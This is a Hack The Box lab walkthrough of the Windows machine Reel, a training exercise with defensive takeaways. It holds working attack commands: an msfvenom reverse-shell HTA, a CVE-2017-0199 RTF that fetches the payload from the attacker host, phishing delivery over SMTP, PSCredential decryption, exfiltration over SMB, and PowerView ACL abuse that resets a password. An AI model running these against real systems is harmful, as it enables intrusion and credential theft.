Reel | Hack The Box Walkthrough | OSCP Style

From document-metadata OSINT and a client-side foothold to Domain compromise through a chain of Active Directory ACL abuses.

From document-metadata OSINT and a client-side foothold to Domain compromise through a chain of Active Directory ACL abuses.

Reel is a classic Windows machine that stands out for its realism. Instead of a network-service exploit, the initial foothold comes from a client-side attack: we harvest an email address from document metadata, enumerate valid mailboxes over SMTP, and deliver a malicious document to a user. From there the box becomes a pure Active Directory ACL exercise, chaining WriteOwner, a password reset, and WriteDacl to walk from one low-privileged user to full control. Let's get into it.

Reconnaissance

We start with a full TCP scan that fingerprints services and runs the default scripts:

sudo nmap -p- --open -sS -sV -sC --min-rate 5000 -n 10.10.10.77 -oN result.txt

Figure 1. Full nmap scan: anonymous FTP, an SMTP mail service, and other Windows services are exposed.

Two services immediately stand out: an FTP server that allows anonymous access and an SMTP service on port 25. Both are promising starting points.

FTP Enumeration & Metadata OSINT

We connect to the FTP server anonymously and pull down everything available:

ftp 10.10.10.77

Figure 2. Authenticating to the FTP service with anonymous access.

prompt off
mget *

Figure 3. Recursively downloading all files from the FTP server.

Figure 4. The retrieved documents, including an Office .docx file.

Among the files is Windows Event Forwarding.docx. Office documents carry rich metadata, so we inspect it with exiftool:

exiftool 'Windows Event Forwarding.docx'

Figure 5. exiftool reveals the document’s author email address (nico@megabank.com) in the metadata.

The metadata leaks a valid internal email address, nico@megabank.com, and the document's subject matter hints that the recipients are accustomed to receiving and opening Office files: exactly the conditions a client-side attack relies on.

SMTP User Enumeration

Before crafting anything, we verify which mailboxes are valid by talking to the SMTP service directly over telnet. By starting an envelope and issuing RCPT TO, the server tells us whether each recipient exists: a 550 Unknown user means invalid, while an acceptance confirms a real mailbox.

telnet 10.10.10.77 25
HELO data.com
MAIL FROM: crypto@megabank.com
RCPT TO: nico@megabank.com

Figure 6. Validating mailboxes through the SMTP service over telnet.

Initial Foothold

With a confirmed recipient, we use CVE-2017–0199, a well-known logic flaw in Microsoft Office. The vulnerability lets a specially crafted RTF document automatically fetch and execute a remote HTA (HTML Application) the moment the file is opened: no macros and no further interaction required. We pair it with a simple reverse-shell payload.

CVE-2017–0199 was patched by Microsoft back in 2017. This walkthrough documents the intended solution of a retired training lab against a simulated user; it is shown for educational understanding of how client-side delivery works, not as operational guidance.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=9292 -f hta-psh > pwned.hta

Figure 7. Generating the HTA reverse-shell payload with msfvenom.

Next, we build the malicious RTF that references our hosted HTA, using the public CVE-2017–0199 toolkit:

python2 cve-2017-0199_toolkit.py -M gen -w prueba.rtf -u http://10.10.14.6/pwned.hta -t RTF -x 0

Figure 8. Crafting the RTF document that pulls in the remote HTA on open.

We then deliver the document to our confirmed recipient through the box’s own SMTP service:

sendEmail -f crypto@megabank.com -t nico@megabank.com -u 'IMPORTANTE' -m 'BONO EXTRA' -s 10.10.10.77:25 -a prueba.rtf -v

Figure 9. Sending the crafted document to the target mailbox.

Figure 10. The mail is accepted and queued for delivery.

With our listener ready, the simulated user opens the document and we receive a shell as nico:

rlwrap nc -lnvp 9292

Figure 11. Catching the reverse shell on our listener.

Figure 12. Interactive shell obtained as the user nico.

Decrypting Stored PowerShell Credentials

Exploring nico’s profile, we find a cred.xml file. This is a serialized PowerShell credential object created with Export-CliXml. The password inside is encrypted with DPAPI, tied to the user's context, which means it decrypts trivially when we run the matching PowerShell call as that same user:

type cred.xml

Figure 13. A stored PSCredential object (cred.xml) found in nico’s profile.

powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

Figure 14. Importing the credential object and revealing the cleartext password for the user tom.

Lateral Movement

The recovered credentials belong to tom, and the box exposes SSH. We log in to get a stable shell and the user flag:

ssh tom@10.10.10.77

Figure 15. Authenticating over SSH as tom with the recovered credentials.

Figure 16. Shell as tom: the user flag is captured.

Mapping Active Directory ACLs

Tom’s home directory contains AD enumeration artifacts (PowerView output and an acls.csv export of object permissions). To analyze the data comfortably, we exfiltrate the CSV to Kali over SMB:

impacket-smbserver crypto . -smb2support

Figure 17. Hosting an SMB share with Impacket to receive the ACL export.

copy acls.csv \\10.10.14.6\crypto\acls.csv

Figure 18. Transferring the acls.csv permission export to our machine.

Filtering the ACL export for our user reveals the first escalation primitive: tom holds WriteOwner over the user claire. WriteOwner lets us take ownership of claire's object, and an owner can grant itself further rights, including the ability to reset her password.

Figure 19. The ACL export confirms tom has WriteOwner rights over the user claire.

Privilege Escalation

We load PowerView to abuse the ACL:

Import-Module .\PowerView[.]ps1

Figure 20. Importing PowerView for ACL abuse.

The abuse is a three-step sequence: take ownership of claire’s object, grant ourselves ResetPassword rights over it, then set a new password we control:

Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
$cred = ConvertTo-SecureString "prueba123!" -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $cred

Figure 21. Taking ownership of claire, granting ResetPassword, and setting a new password.

net user claire

Figure 22. Confirming the password change took effect on claire’s account.

Privilege Escalation: Abusing WriteDacl

Now operating as claire, we examine her privileges and find the next link in the chain: claire holds WriteDacl over the Backup_Admins group. WriteDacl lets us modify the group's access control list, which in practice means we can add ourselves to it.

Figure 23. claire has WriteDacl rights over the Backup_Admins group.

We enumerate the domain groups and then add claire to the privileged group:

net groups

Figure 24. Enumerating domain groups; Backup_Admins is our target.

net groups Backup_Admins claire /add

Figure 25. Adding claire to the Backup_Admins group by abusing WriteDacl.

Figure 26. Confirming claire is now a member of Backup_Admins.

Compromise

Membership in Backup_Admins grants read access to the administrator's backup scripts. Searching those scripts for credentials immediately pays off:

dir | Select-String "Password"

Figure 27. Searching the backup scripts and finding a cleartext administrator password.

The script leaks the Administrator’s password in cleartext. We use it to gain an Administrator session and read the root flag, completing the compromise:

Figure 28. Operating as Administrator and capturing the root flag.

Conclusion

Reel is a fantastic, realistic box. The foothold mirrors how real intrusions often begin, not with a service exploit, but with OSINT and a user opening the wrong document. The rest is a masterclass in Active Directory ACL abuse: a single misplaced WriteOwner let us pivot to another user, a password reset gave us their session, and a WriteDacl on a privileged group carried us to the administrator's secrets. Each permission looked harmless in isolation; chained together, they meant full domain compromise.

Key takeaways:

  • Strip metadata from documents before publishing: author fields leak valid identities.
  • SMTP services that confirm valid recipients enable user enumeration; restrict VRFY/RCPT behaviour.
  • Keep Office clients patched; client-side document attacks remain a top intrusion vector.
  • Audit Active Directory ACLs. Dangerous edges like WriteOwner and WriteDacl chain into full compromise: review them with BloodHound.
  • Never store credentials in backup scripts; group membership often grants more access than intended.

References

If you’re interested in following my upcoming articles on OT/ICS, certifications, HTB content, and Red Team experiences, I invite you to connect with me on LinkedIn or Instagram.